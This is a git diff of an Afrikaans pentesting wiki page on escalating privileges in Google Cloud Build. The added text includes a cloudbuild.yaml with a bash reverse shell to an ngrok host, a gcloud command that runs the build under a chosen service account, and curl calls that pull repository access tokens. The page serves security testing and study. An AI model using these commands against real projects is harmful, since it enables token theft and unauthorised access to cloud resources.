diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index 7226ebb08..cf32e44ee 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -13,21 +13,33 @@ Vir meer inligting oor Cloud Build, kyk: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` Met hierdie toestemming kan jy **'n cloud build indien**. Die cloudbuild masjien sal in sy lêerstelsel **standaard 'n token van die cloudbuild Service Account** hê: `@cloudbuild.gserviceaccount.com`. Jy kan egter **enige diensrekening binne die projek** in die cloudbuild konfigurasie aandui.\ -Daarom kan jy net die masjien laat uitvloe na jou bediener die token of **'n omgekeerde shell binne-in dit kry en die token vir jouself kry** (die lêer wat die token bevat, mag verander). +Daarom kan jy net die masjien laat uitvloe na jou bediener die token of **'n omgekeerde shell binne dit kry en jouself die token kry** (die lêer wat die token bevat, mag verander). -Jy kan die oorspronklike eksploit script [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waar dit die token vandaan neem, het nie vir my gewerk nie). Kyk dus na 'n script om die [**skepping, eksploit en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python script om 'n omgekeerde shell binne die cloudbuild masjien te kry en [**dit hier te steel**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander diensrekeninge aan te dui)**.** +#### Direkte uitbuiting via gcloud CLI + +1- Skep `cloudbuild.yaml` en wysig met jou luisterdata +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Laai 'n eenvoudige bou op sonder bron, die yaml-lêer en spesifiseer die SA om op die bou te gebruik: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Gebruik van python gcloud biblioteek +Jy kan die oorspronklike exploit-skrip [**hier op GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) vind (maar die plek waar dit die token vandaan neem, het nie vir my gewerk nie). Daarom, kyk na 'n skrip om die [**skepping, eksploit en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) te outomatiseer en 'n python-skrip om 'n omgekeerde shell binne die cloudbuild masjien te kry en [**dit hier te steel**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in die kode kan jy vind hoe om ander diensrekeninge te spesifiseer)**.** Vir 'n meer diepgaande verduideliking, besoek [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potensieel** met hierdie toestemming sal jy in staat wees om **'n cloud build op te dateer en net die diensrekening token te steel** soos dit met die vorige toestemming uitgevoer is (maar ongelukkig kon ek tydens die skryf hiervan nie enige manier vind om daardie API aan te roep nie). - -TODO ### `cloudbuild.repositories.accessReadToken` -Met hierdie toestemming kan die gebruiker die **lees toegang token** kry wat gebruik word om toegang tot die repository te verkry: +Met hierdie toestemming kan die gebruiker die **lees toegangstoken** verkry wat gebruik word om toegang tot die repository te verkry: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -47,7 +59,7 @@ curl -X POST \ ``` ### `cloudbuild.connections.fetchLinkableRepositories` -Met hierdie toestemming kan jy **die repos verkry waartoe die verbinding toegang het:** +Met hierdie toestemming kan jy **die repos kry waartoe die verbinding toegang het:** ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \